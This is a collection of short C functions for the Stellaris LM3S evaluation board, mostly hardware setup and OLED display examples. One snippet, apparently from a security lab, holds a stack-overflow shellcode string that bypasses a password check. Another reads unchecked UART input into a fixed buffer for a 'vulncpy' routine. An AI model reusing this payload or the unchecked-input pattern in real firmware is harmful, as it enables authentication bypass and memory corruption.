//***************************************************************************** // // Print "Hello world!" to the OLED on the Stellaris evaluation board. // //***************************************************************************** int main(void) { // // Set the clocking to run directly from the crystal. // SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // // Initialize the OLED display. // RIT128x96x4Init(1000000); // // Hello! // RIT128x96x4StringDraw("Hello World!", 30, 24, 15); // // Finished. // while(1) { } }
int main() { // Set the clocking to run directly from the crystal. SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // Initialize the OLED display. RIT128x96x4Init(1000000); //Initializes the LED needed for the blinking-sensor part of the assignment //Initializes the ADC ADCInit(); //Initializes the keys on the keypad on the Stellaris Board key_init(); //Initializes Timer0 and enables Timer0 interrupts timer0_init(); //Initializes GPIO PORT E and enables its interrupts init_GPIOE(); //Initializes GPIO PORT F and enables its interrupts init_GPIOF(); // main loop while(TRUE) { // if (keymaster()) { // RIT128x96x4StringDraw("HELLO\0", 30, 24, 15); // } else { // RIT128x96x4StringDraw("YOLLO\0", 30, 24, 15); // } } }
//***************************************************************************** // // Flash "A B C D" to the board. // //***************************************************************************** int main(void) { unsigned long flashDelay = 8000; // Delay between flashes char *characters = "ABCD"; // Characters to flash // Set the clocking to run directly from the crystal. SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // Initialize display RIT128x96x4Init(OLED_CLK); // Flash the letters ABCD unsigned int xVal = 15; unsigned int yVal = 15; while(TRUE) { RIT128x96x4StringDraw(characters, xVal, yVal, 15); delay(flashDelay); RIT128x96x4Clear(); delay(flashDelay); } }
//***************************************************************************** // // Exchange data between two functions // //***************************************************************************** int main(void) { // // Set the clocking to run directly from the crystal. // SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // // Initialize the OLED display. // RIT128x96x4Init(1000000); // declare a shared variable and a pointer to it int myValue = 0; int* myPtr = &myValue; // let myPtr point to myValue char myData[2]; // declare a character array while(TRUE) { getData(myPtr); myData[0] = *myPtr+'0'; myData[1] = '\0'; // terminate the string RIT128x96x4StringDraw("Data returned: \n", 15, 44, 15); RIT128x96x4StringDraw(myData, 15, 54, 15); delay(1000); // delay so we can read the display } }
//***************************************************************************** // // This example demonstrates the use of the watchdog timer. // //***************************************************************************** int main(void) { // // Set the clocking to run directly from the crystal. // SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // // Initialize the OLED display and write status. // RIT128x96x4Init(1000000); RIT128x96x4StringDraw("Watchdog example", 12, 24, 15); // // Enable the peripherals used by this example. // SysCtlPeripheralEnable(SYSCTL_PERIPH_WDOG0); SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOG); // // Enable processor interrupts. // IntMasterEnable(); // // Set GPIO G2 as an output. This drives an LED on the board that will // toggle when a watchdog interrupt is processed. // GPIOPinTypeGPIOOutput(GPIO_PORTG_BASE, GPIO_PIN_2); GPIOPinWrite(GPIO_PORTG_BASE, GPIO_PIN_2, 0); // // Enable the watchdog interrupt. // IntEnable(INT_WATCHDOG); // // Set the period of the watchdog timer. // WatchdogReloadSet(WATCHDOG0_BASE, SysCtlClockGet()); // // Enable reset generation from the watchdog timer. // WatchdogResetEnable(WATCHDOG0_BASE); // // Enable the watchdog timer. // WatchdogEnable(WATCHDOG0_BASE); // // Loop forever while the LED winks as watchdog interrupts are handled. // while(1) { } }
// This function initializes all hardware used by our system. void InitializeHardware() { RIT128x96x4Init(1000000); //Initializes the LED //LED_init(); //Initializes the ADC ADCInit(); //Initializes the keys on the keypad on the Stellaris Board key_init(); //Initializes GPIO PORT E and enables its interrupts init_GPIOE(); //Initializes GPIO PORT F and enables its interrupts init_GPIOF(); // Initializes the PWM's used PWMinit(); // Initializes Port D to use for sending signals to the H-bridge PORTD_init(); PORTC_init(); // This method is used by FreeRtos prvSetupHardware(); // This initializes the speaker speakerInit(); //Sets the UART port uARTInit(); }
void main () { SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // NOTE: actual clock speed is pll / 2/ div = 400M / 2/ 10 // SysCtlClockSet(SYSCTL_SYSDIV_10 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); initializeGlobalData(); // initialize global data #if DEBUG RIT128x96x4Init(1000000); #endif #if DEBUG char num[30]; usnprintf(num, 30, "begin CommandTest"); RIT128x96x4StringDraw(num, 0, 0, 15); #endif strncpy(global.commandStr, "M A", COMMAND_LENGTH - 1); // this is the test command commandTask.runTaskFunction(commandTask.taskDataPtr); #if DEBUG usnprintf(num, 30, global.responseStr); RIT128x96x4StringDraw(num, 0, 70, 7); usnprintf(num, 30, "done %d %d", global.measurementSelection, global.responseReady); RIT128x96x4StringDraw(num, 0, 80, 15); #endif }
//***************************************************************************** // // Initializes the hardware's system clock and the SysTick Interrupt // //***************************************************************************** void SysTickInit() { // // Set the clocking to run directly from the crystal. // SysCtlClockSet(SYSCTL_SYSDIV_4 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // // Get the system clock speed. // systemClock = SysCtlClockGet(); // // Configure SysTick interrupts // SysTickPeriodSet(systemClock / SYSTICK_FREQUENCY); SysTickIntEnable(); SysTickEnable(); // // Code to cause a wait for a "Select Button" press // SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOG); GPIOPinTypeGPIOInput(GPIO_PORTG_BASE, GPIO_PIN_7); RIT128x96x4Init(1000000); RIT128x96x4StringDraw("Press \"Select\" Button", 0, 24, 15); RIT128x96x4StringDraw("To Continue", 32, 32, 15); while(GPIOPinRead(GPIO_PORTG_BASE, GPIO_PIN_7)); SysCtlPeripheralDisable(SYSCTL_PERIPH_GPIOG); SysCtlPeripheralReset(SYSCTL_PERIPH_GPIOG); }
void main(void) { // Set the clocking to run directly from the crystal. SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); RIT128x96x4Init(1000000); // Initialize the OLED display. // Replace 'Harold' and 6 with exploit string and its // length printUserWelcome("\0\0\0" // Front padding "\x4f\xf0\x01\x06" // mov.w r6, #1 "\x02\x96" // str r6, [sp, #8] "\x40\xf2\x93\x1e" // movw lr, #403 "\x70\x47" // bx lr "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" // End padding "\xD1\x00\x00\x20", 43); // Place 0x200000D1 in the link register instead if (gPasswordEntered) { RIT128x96x4StringDraw("Success!", 32, 24, 15); } else { RIT128x96x4StringDraw("Failure!", 32, 24, 15); } while (1); }
int main(void) { // Set the clock to run from the crystal at 8Mhz SysCtlClockSet (SYSCTL_SYSDIV_10 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // Initialise the OLED display. RIT128x96x4Init (1000000); // Initialise UART uart_initialise (); long i = 0; char string[50] = {0}; long length = ((char) UARTCharGet (UART0_BASE)) - 48; while (i < length) { string[i] = ((char)UARTCharGet (UART0_BASE)); i++; } string[i] = '\0'; vulncpy (string); }
int main(void) { volatile unsigned long ulLoop; SysCtlClockSet( SYSCTL_SYSDIV_4 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOF); for (ulLoop = 0; ulLoop < 2000; ulLoop++) { } // // Enable the GPIO pin for the LED (PF0). Set the direction as output, and // enable the GPIO pin for digital function. // GPIODirModeSet(GPIO_PORTF_BASE, GPIO_PIN_0, GPIO_DIR_MODE_OUT); GPIOPadConfigSet(GPIO_PORTF_BASE, GPIO_PIN_0, GPIO_STRENGTH_2MA, GPIO_PIN_TYPE_STD); GPIOPinWrite(GPIO_PORTF_BASE, GPIO_PIN_0, 1); // Start the OLED display and write a message on it RIT128x96x4Init(ulSSI_FREQUENCY); RIT128x96x4StringDraw("Hello Out there :)", 0, 0, mainFULL_SCALE); // // Loop forever. // while (1) { // // Turn on the LED. // GPIOPinWrite(GPIO_PORTF_BASE, GPIO_PIN_0, GPIO_PIN_0); // GPIO_PORTF_DATA_R |= 0x01; // // Delay for a bit. // for (ulLoop = 0; ulLoop < 200000; ulLoop++) { } // // Turn off the LED. // GPIOPinWrite(GPIO_PORTF_BASE, GPIO_PIN_0, 0); // // Delay for a bit. // for (ulLoop = 0; ulLoop < 200000; ulLoop++) { } } return 0; }
//***************************************************************************** // // This example application demonstrates the use of the timers to generate // periodic interrupts. // //***************************************************************************** int main(void) { // // Set the clocking to run directly from the crystal. // SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // // Initialize the OLED display and write status. // RIT128x96x4Init(1000000); RIT128x96x4StringDraw("Timers example", 18, 24, 15); RIT128x96x4StringDraw("T1: 0 T2: 0", 24, 32, 15); // // Enable the peripherals used by this example. // SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER0); SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER1); // // Enable processor interrupts. // IntMasterEnable(); // // Configure the two 32-bit periodic timers. // TimerConfigure(TIMER0_BASE, TIMER_CFG_PERIODIC); TimerConfigure(TIMER1_BASE, TIMER_CFG_PERIODIC); TimerLoadSet(TIMER0_BASE, TIMER_A, SysCtlClockGet()); TimerLoadSet(TIMER1_BASE, TIMER_A, SysCtlClockGet() / 2); // // Setup the interrupts for the timer timeouts. // IntEnable(INT_TIMER0A); IntEnable(INT_TIMER1A); TimerIntEnable(TIMER0_BASE, TIMER_TIMA_TIMEOUT); TimerIntEnable(TIMER1_BASE, TIMER_TIMA_TIMEOUT); // // Enable the timers. // TimerEnable(TIMER0_BASE, TIMER_A); TimerEnable(TIMER1_BASE, TIMER_A); // // Loop forever while the timers run. // while(1) { } }
void TickDisplayInit() { // // Initialize the OLED display and write status. // RIT128x96x4Init(1000000); // // The initial time to execute is Delta SysTicks from now. // tickDisplayNext = sysTickCount + tickDisplayDelta; }
void initConsole(void) { int i,j; RIT128x96x4Init(1000000); for(i=0;i<MAX_LINES;i++) { for(j=0;j<MAX_COLUMNS;j++) ac_consoleImage[i][j]=' '; ac_consoleImage[i][MAX_COLUMNS]='\0'; } }
Init_OLED(void) { //***************************************************************************** // Display Setup //***************************************************************************** // Setup the OLED controller interface clock to 1MHz RIT128x96x4Init(1000000); // Print the header "Periodic ADC" on the display RIT128x96x4StringDraw("Periodic ADC", 18, 24, 15); }
int main(void) { // If running on Rev A2 silicon, turn the LDO voltage up to 2.75V. This is // a workaround to allow the PLL to operate reliably. if (REVISION_IS_A2) { SysCtlLDOSet(SYSCTL_LDO_2_75V); } // Set the clocking to run at 50MHz from the PLL. SysCtlClockSet(SYSCTL_SYSDIV_4 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); SysCtlPWMClockSet(SYSCTL_PWMDIV_1); // Initialise the OLED display. RIT128x96x4Init(1000000); // Initialise the required peripherals. initStatusLight(); initialisePortB(); initialiseButtons(); initialisePWM(); initialiseADC(); initialiseUART(); /* Create the queue used by the OLED task. Messages for display on the OLED are received via this queue. */ xSendQueue = xQueueCreate( mainSEND_QUEUE_SIZE, sizeof( xQueueMessage ) ); vCreateQueuesAndSemaphore(); /*------------------------------------------- Create tasks and start scheduler -------------------------------------------*/ /* Create the required tasks */ xTaskCreate( vSendTask, "Send Task", 240, NULL, 1, NULL); xTaskCreate( vLedBlink, "LED Blink", configMINIMAL_STACK_SIZE, NULL, 4, NULL ); vStartControlTasks( xSendQueue ); // Enable interrupts to the processor. IntMasterEnable(); /* Start the scheduler so our tasks start executing. */ vTaskStartScheduler(); /* If all is well we will never reach here as the scheduler will now be running. If we do reach here then it is likely that there was insufficient heap available for the idle task to be created. */ while (1) { } }
// With this setup it would seem like main() must be the first function in this file, otherwise // the wrong function gets called on reset. int main(void) { unsigned long ulLoop; char buffer[32]; SecondsCount = 0; minutesCount = 0; initHW(); // Start the OLED display and write a message on it RIT128x96x4Init(ulSSI_FREQUENCY); RIT128x96x4StringDraw("Hi :)", 0, 0, mainFULL_SCALE); RIT128x96x4StringDraw("Running Timers...", 0, 10, mainFULL_SCALE); // // Loop forever. // while (1) { // // Turn on the LED. // GPIOPinWrite(GPIO_PORTF_BASE, GPIO_PIN_0, GPIO_PIN_0); // GPIO_PORTF_DATA_R |= 0x01; RIT128x96x4StringDraw(" ", 50, 50, mainFULL_SCALE); itoa(SecondsCount, buffer, 10); RIT128x96x4StringDraw(buffer, 50, 50, mainFULL_SCALE); RIT128x96x4StringDraw(" ", 50, 60, mainFULL_SCALE); itoa(minutesCount, buffer, 10); RIT128x96x4StringDraw(buffer, 50, 60, mainFULL_SCALE); SysCtlSleep(); // // Turn off the LED. // GPIOPinWrite(GPIO_PORTF_BASE, GPIO_PIN_0, 0); // // Delay for a bit. // for (ulLoop = 0; ulLoop < 200000; ulLoop++) { } } return 0; }
//------------Output_Init------------ // Initializes the OLED interface. // Input: none // Output: none void Output_Init(void){ int i, j; RIT128x96x4Init(1000000); // initialize OLED for(i=0; i<TOTALCHARROWS; i=i+1){ for(j=0; j<TOTALCHARCOLUMNS; j=j+1){ CharBuffer[i][j] = 0; // clear screen contents ColorBuffer[i][j] = 0; } } CursorX = 0; // initialize the cursors CursorY = 0; Color = 15; Status = 1; }
//***************************************************************************** // // Task to output Initial screen. // //***************************************************************************** void PrintInit(){ // // Code to cause a wait for a "Select Button" press // SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOG); GPIOPinTypeGPIOInput(GPIO_PORTG_BASE, GPIO_PIN_7); GPIOPadConfigSet(GPIO_PORTG_BASE, GPIO_PIN_7, GPIO_STRENGTH_2MA, GPIO_PIN_TYPE_STD_WPU); RIT128x96x4Init(1000000); RIT128x96x4StringDraw("FreeRTOS starting\n", 8, 0, 15); RIT128x96x4StringDraw("Press \"Select\" Button", 0, 24, 15); RIT128x96x4StringDraw("To Continue", 32, 32, 15); while(GPIOPinRead(GPIO_PORTG_BASE, GPIO_PIN_7)); SysCtlPeripheralReset(SYSCTL_PERIPH_GPIOG); SysCtlPeripheralDisable(SYSCTL_PERIPH_GPIOG); }
void main(void) { // Set the clocking to run directly from the crystal. SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // Initialize the OLED display and write status. RIT128x96x4Init(1000000); RIT128x96x4StringDraw("SVC Demo", 32, 0, 15); // Enable the peripherals used by this example. SysCtlPeripheralEnable(SYSCTL_PERIPH_UART0); SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOA); // Set GPIO A0 and A1 as UART pins. GPIOPinTypeUART(GPIO_PORTA_BASE, GPIO_PIN_0 | GPIO_PIN_1); // Configure the UART for 115,200, 8-N-1 operation. UARTConfigSetExpClk(UART0_BASE, SysCtlClockGet(), 115200, (UART_CONFIG_WLEN_8 | UART_CONFIG_STOP_ONE | UART_CONFIG_PAR_NONE)); while (1) { int c; // Read characters from the keyboard and act on them. Requires _read() // syscall to be implemented. switch( (c = getchar()) ) { case EOF: // No characters are available clearerr(stdin); // Must be used to clear EOF condition break; case '0': asm volatile ("svc #123"); break; case '1': asm volatile ("svc #234"); break; default: iprintf("Press 0 or 1\r\n"); break; } } exit(0); }
void init(){ // Init OLED RIT128x96x4Init(1000000); // Set the clock to 50 MHz SysCtlClockSet(SYSCTL_SYSDIV_4 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // Select SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOF); GPIOPinTypeGPIOInput(GPIO_PORTF_BASE, GPIO_PIN_1); GPIOPadConfigSet(GPIO_PORTF_BASE, GPIO_PIN_1, GPIO_STRENGTH_2MA, GPIO_PIN_TYPE_STD_WPU); // Navigation Switches SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOE); GPIOPinTypeGPIOInput(GPIO_PORTE_BASE, GPIO_PIN_0 | GPIO_PIN_1 | GPIO_PIN_2 | GPIO_PIN_3); GPIOPadConfigSet(GPIO_PORTE_BASE, GPIO_PIN_0 | GPIO_PIN_1 | GPIO_PIN_2 | GPIO_PIN_3, GPIO_STRENGTH_2MA, GPIO_PIN_TYPE_STD_WPU); // CAN Connection SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOD); SysCtlPeripheralEnable(SYSCTL_PERIPH_CAN0); GPIOPinTypeCAN(GPIO_PORTD_BASE, GPIO_PIN_0 | GPIO_PIN_1); CANInit(CAN0_BASE); CANBitRateSet(CAN0_BASE, 8000000, 250000); CANIntEnable(CAN0_BASE, CAN_INT_MASTER); IntEnable(INT_CAN0); CANEnable(CAN0_BASE); // CAN Objects transmit.ulMsgID= 0x200; transmit.ulMsgIDMask= 0; transmit.ulMsgLen= 2*sizeof(unsigned long); // IR Receiver SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOD); GPIOPinTypeTimer(GPIO_PORTD_BASE, GPIO_PIN_4); // Timer SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER0); TimerConfigure(TIMER0_BASE, TIMER_CFG_A_CAP_TIME); TimerControlEvent(TIMER0_BASE, TIMER_A, TIMER_EVENT_NEG_EDGE); TimerLoadSet(TIMER0_BASE, TIMER_A, TIME_WIDTH); TimerIntEnable(TIMER0_BASE, TIMER_CAPA_EVENT | TIMER_TIMA_TIMEOUT); TimerEnable(TIMER0_BASE, TIMER_A); IntEnable(INT_TIMER0A); }
//! With this setup it would seem like main() must be the first function in this file, otherwise //! the wrong function gets called on reset. void main(void) { volatile INT32U ulLoop; volatile INT16U event; volatile INT16U push; //Hardware upstarts initHW(); //! Start the OLED display and write a message on it RIT128x96x4Init(ulSSI_FREQUENCY); RIT128x96x4StringDraw("EMP", 15, 42, mainFULL_SCALE); RIT128x96x4StringDraw("enter the code.....", 5, 49, mainFULL_SCALE); RIT128x96x4StringDraw("SW2 SW3 SW4 SW5 SW6", 15, 57, mainFULL_SCALE); // Entry Password see under inputs // Wait for the select key to be pressed while (GPIOPinRead(GPIO_PORTF_BASE, GPIO_PIN_1)); // Wait for the select key to be pressed while (GPIOPinRead(GPIO_PORTE_BASE, GPIO_PIN_0)); // Wait for the select key to be pressed while (GPIOPinRead(GPIO_PORTE_BASE, GPIO_PIN_1)); // Wait for the select key to be pressed while (GPIOPinRead(GPIO_PORTE_BASE, GPIO_PIN_2)); // Wait for the select key to be pressed while (GPIOPinRead(GPIO_PORTE_BASE, GPIO_PIN_3)); // Clean the OLED display. RIT128x96x4Clear(); // // Loop forever. // while (1) { // Statmashine function // This is where a statemachine could be added event = GetKeyEvents(); push = select_button(); statemashine(event , push); //all functions the } }
void initializeMeasureTask() { #if DEBUG RIT128x96x4Init(1000000); #endif // Load data memory data.temperatureRaw = &(global.temperatureRaw); data.systolicPressRaw = &(global.systolicPressRaw); data.diastolicPressRaw = &(global.diastolicPressRaw); data.pulseRateRaw = &(global.pulseRateRaw); data.measureSelect = &(global.measurementSelection); SysCtlPeripheralEnable(SYSCTL_PERIPH_ADC0); SysCtlADCSpeedSet(SYSCTL_ADCSPEED_250KSPS); //setup for temperature sensor ADCSequenceDisable(ADC0_BASE, 1); ADCSequenceConfigure(ADC0_BASE, 1, ADC_TRIGGER_PROCESSOR, 1); ADCSequenceStepConfigure(ADC0_BASE, 1, 0, ADC_CTL_IE | ADC_CTL_END | ADC_CTL_TS); ADCSequenceEnable(ADC0_BASE, 1); /* Interrupt setup * Note: using statically registered interrupts, because they're faster * this means we aren't using the dynamic GPIOPortIntRegister() function, * instead, an entry in the interrupt table is populated with the address * of the interrupt handler (under GPIO Port A) and this is enabled with * IntEnable(INT_GPIOA) */ SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOA); // Set PA4 as input GPIOPinTypeGPIOInput(GPIO_PORTA_BASE, GPIO_PIN_4); // Enable interrupts on PA4 GPIOPinIntEnable(GPIO_PORTA_BASE, GPIO_PIN_4); // Set interrupt type GPIOIntTypeSet(GPIO_PORTA_BASE, GPIO_PIN_4, GPIO_RISING_EDGE); // Enable interrupts to the processor. IntMasterEnable(); // Enable the interrupts. IntEnable(INT_GPIOA); }
//! With this setup it would seem like main() must be the first function in this file, otherwise //! the wrong function gets called on reset. int main(void) { volatile unsigned long ulLoop; volatile int event; //Hardware upstarts initHW(); //! Start the OLED display and write a message on it RIT128x96x4Init(ulSSI_FREQUENCY); RIT128x96x4StringDraw("Home App Control", 5, 42, mainFULL_SCALE); RIT128x96x4StringDraw("enter the code.....", 5, 49, mainFULL_SCALE); // Entry Password see under inputs // Wait for the select key to be pressed while (GPIOPinRead(GPIO_PORTF_BASE, GPIO_PIN_1)); // Wait for the select key to be pressed while (GPIOPinRead(GPIO_PORTE_BASE, GPIO_PIN_0)); // Wait for the select key to be pressed while (GPIOPinRead(GPIO_PORTE_BASE, GPIO_PIN_1)); // Wait for the select key to be pressed while (GPIOPinRead(GPIO_PORTE_BASE, GPIO_PIN_2)); // Wait for the select key to be pressed while (GPIOPinRead(GPIO_PORTE_BASE, GPIO_PIN_3)); // Clean the OLED display. RIT128x96x4Clear(); // // Loop forever. // while (1) { // This is where a statemachine could be added // Statmashine function // This is where a statemachine could be added // event = GetKeyEvents(); statemashine(GetKeyEvents()); //all functions the } }
int main(void) { int c; int light=0; // set the clocking to run directly from the crystal. SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // initialize the OLED display and display "IR Sensor Demo" on the OLED screen. RIT128x96x4Init(1000000); // enable peripherals SysCtlPeripheralEnable(SYSCTL_PERIPH_UART0); SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOA); SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOF); // initialize peripherals. uart_init(); led_init(); // prepare thread table init_thread_table(); init_thread(threadUART); init_thread(threadOLED); init_thread(threadLED); // init systick systick_init(); // register SVC handler IntRegister(FAULT_SVCALL, schedule); // enable global Interrupts IntMasterEnable(); // kick off this wild ride yield(); exit(0); }
void initializeDisplayTask() { RIT128x96x4Init(1000000); // Load data data.temperatureCorrected = &(global.temperatureCorrected); data.systolicPressCorrected = &(global.systolicPressCorrected); data.diastolicPressCorrected = &(global.diastolicPressCorrected); data.pulseRateCorrected = &(global.pulseRateCorrected); data.batteryState = &(global.batteryState); data.mode = &(global.mode); data.measurementSelection = &(global.measurementSelection); data.scroll = &(global.scroll); data.alarmAcknowledge = &(global.alarmAcknowledge); data.select = &(global.select); // Load TCB displayTask.runTaskFunction = &displayRunFunction; displayTask.taskDataPtr = &data; }
void initDisplay (void) { // intialise the OLED display RIT128x96x4Init(1000000); }
int main(void) { /* Initialization Functions */ //Section to initialize switches and displays //Initialize display //used for system clock //Initialize Buttons LEDBARInit(); DIPSWInit(); PBSwInit(); RGB_LEDInit(); sysTickInit(); // potentiometersInit(); RIT128x96x4Init(1000000); RGB_LEDInit(); potentiometersInit(); RIT128x96x4Clear(); while(!progress) { //start on any button press progress = progress || read_PBSwitchNum(1) || read_PBSwitchNum(2) || read_PBSwitchNum(3); RIT128x96x4StringDraw("Tron", 100, 64, 15); //char is 6 wide by 8 tall, Tron = 24w, 8h //res 240 by 96 } progress = 0; //Display instructions while(!progress) { //40 chars will fill the screen progress = progress || read_PBSwitchNum(1) || read_PBSwitchNum(2) || read_PBSwitchNum(3); RIT128x96x4StringDraw("Navigate your", 0, 0, 15); RIT128x96x4StringDraw("lightcycle and avoid", 0, 8, 15); RIT128x96x4StringDraw("touching the paths", 0, 16, 15); RIT128x96x4StringDraw("First player to be", 0, 24, 15); RIT128x96x4StringDraw("trapped by a trail", 0, 32, 15); RIT128x96x4StringDraw("will be derezzed-lose", 0, 40, 15); } progress = 0; //Reset variables to initial state cpuX = 0; cpuY = 48; playerX = 239; playerY = 48; cpuDir = 2; playerDir = 0; while(!progress){ sysTickWait1mS(100); //read buttons to update player direction //rotate counter-clockwise playerDir = (playerDir - read_PBSwitchNum(1))%4; //rotate clockwise playerDir = (playerDir + read_PBSwitchNum(3))%4; //generate random direction for CPU //x = random(); //} //Update Coordinates in array and variables //Check for collisions //No collisions: display the array to the screen //Collision: Determine who collided and display win/lose screen //Go back to instruction screen } }
// ******** OS_Init ************ // initialize operating system, disable interrupts until OS_Launch // initialize OS controlled I/O: serial, ADC, systick, select switch and timer2 // input: none // output: none void OS_Init(void){ DisableInterrupts(); RUNPT=0; // Enable processor interrupts. // //IntMasterEnable(); TIMELORD=0; //initialize the system counter for use with thingies (no shit) SDEBOUNCEPREV = 0; btndown_time = 0; SysCtlClockSet(SYSCTL_SYSDIV_4 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); //Init System Clock //Systick Init (Thread Scheduler) //taken care of in OS_Launch // Timers galore! SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER0); TimerConfigure(TIMER0_BASE, (TIMER_CFG_16_BIT_PAIR | TIMER_CFG_A_PERIODIC | TIMER_CFG_B_PERIODIC)); TimerControlTrigger(TIMER0_BASE, TIMER_A, true); // TIMELORD Updater TimerControlTrigger(TIMER0_BASE, TIMER_B, true); // ADC_Collect Timer TimerLoadSet(TIMER0_BASE, TIMER_A, SysCtlClockGet()/1000); TimerIntEnable(TIMER0_BASE, TIMER_TIMA_TIMEOUT); TimerIntEnable(TIMER0_BASE, TIMER_TIMB_TIMEOUT); IntEnable(INT_TIMER0A); SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER1); TimerConfigure(TIMER1_BASE, TIMER_CFG_16_BIT_PAIR | TIMER_CFG_A_PERIODIC | TIMER_CFG_B_PERIODIC); TimerControlTrigger(TIMER1_BASE, TIMER_A, true); // Periodic Timer 1 TimerControlTrigger(TIMER1_BASE, TIMER_B, true); // Periodic Timer 2 TimerIntEnable(TIMER1_BASE, TIMER_TIMA_TIMEOUT); TimerIntEnable(TIMER1_BASE, TIMER_TIMB_TIMEOUT); SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER2); TimerConfigure(TIMER2_BASE, TIMER_CFG_16_BIT_PAIR | TIMER_CFG_A_PERIODIC | TIMER_CFG_B_PERIODIC); TimerControlTrigger(TIMER2_BASE, TIMER_A, true); // Periodic Timer 3 TimerControlTrigger(TIMER2_BASE, TIMER_B, true); // Periodic Timer 4 TimerIntEnable(TIMER2_BASE, TIMER_TIMA_TIMEOUT); TimerIntEnable(TIMER2_BASE, TIMER_TIMB_TIMEOUT); // Init ADC Stuff SysCtlPeripheralEnable(SYSCTL_PERIPH_ADC0); SysCtlADCSpeedSet(SYSCTL_ADCSPEED_1MSPS); // Init Debugging LED SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOF); GPIOPinTypeGPIOOutput(GPIO_PORTF_BASE, GPIO_PIN_0); GPIOPinWrite(GPIO_PORTF_BASE, GPIO_PIN_0, GPIO_PIN_0); //Semaphores, OS Stuff OS_InitSemaphore(&oled_free,1); OS_InitSemaphore(&OSMailBoxSema4,0); OS_MailBox_Init(); //UART & OLED UARTInit(); RIT128x96x4Init(1000000); //Init OLED //RIT128x96x4StringDraw("Hello World", 0, 12, 15); //ADC ADC_Init(); // Init ADC to run @ 1KHz //Eval Buttons SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOE); GPIOPinTypeGPIOInput(GPIO_PORTE_BASE, GPIO_PIN_1); GPIOPadConfigSet(GPIO_PORTE_BASE, GPIO_PIN_1, GPIO_STRENGTH_2MA, GPIO_PIN_TYPE_STD_WPU); GPIOIntTypeSet(GPIO_PORTE_BASE, GPIO_PIN_1, GPIO_FALLING_EDGE); GPIOPinIntClear(GPIO_PORTE_BASE, GPIO_PIN_1); GPIOPinIntEnable(GPIO_PORTE_BASE, GPIO_PIN_1); IntEnable(INT_GPIOE); //SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOF); GPIOPinTypeGPIOInput(GPIO_PORTF_BASE, GPIO_PIN_1); GPIOPadConfigSet(GPIO_PORTF_BASE, GPIO_PIN_1, GPIO_STRENGTH_2MA, GPIO_PIN_TYPE_STD_WPU); GPIOIntTypeSet(GPIO_PORTF_BASE, GPIO_PIN_1, GPIO_FALLING_EDGE); GPIOPinIntClear(GPIO_PORTF_BASE, GPIO_PIN_1); GPIOPinIntEnable(GPIO_PORTF_BASE, GPIO_PIN_1); IntEnable(INT_GPIOF); /* This works for now, but Stellarisware Function owuld be nice */ /*SYSCTL_RCGC2_R |= 0x00000020; // (a) activate port F // delay = SYSCTL_RCGC2_R; //delay, cause i said so GPIO_PORTF_DIR_R &= ~0x02; // (c) make PF1 in GPIO_PORTF_DEN_R |= 0x02; // enable digital I/O on PF1 GPIO_PORTF_IS_R &= ~0x02; // (d) PF1 is edge-sensitive GPIO_PORTF_IBE_R &= ~0x02; // PF1 is not both edges GPIO_PORTF_IEV_R &= ~0x02; // PF1 falling edge event GPIO_PORTF_ICR_R = 0x02; // (e) clear flag4 GPIO_PORTF_IM_R |= 0x02; // (f) arm interrupt on PF1 NVIC_PRI7_R = (NVIC_PRI7_R&0xFF00FFFF)|(0<<21); // (g) priority (shifted into place) (will get set in OS_AddButtonTask) NVIC_EN0_R |= 0x40000000; // (h) enable interrupt 2 in NVIC //dont 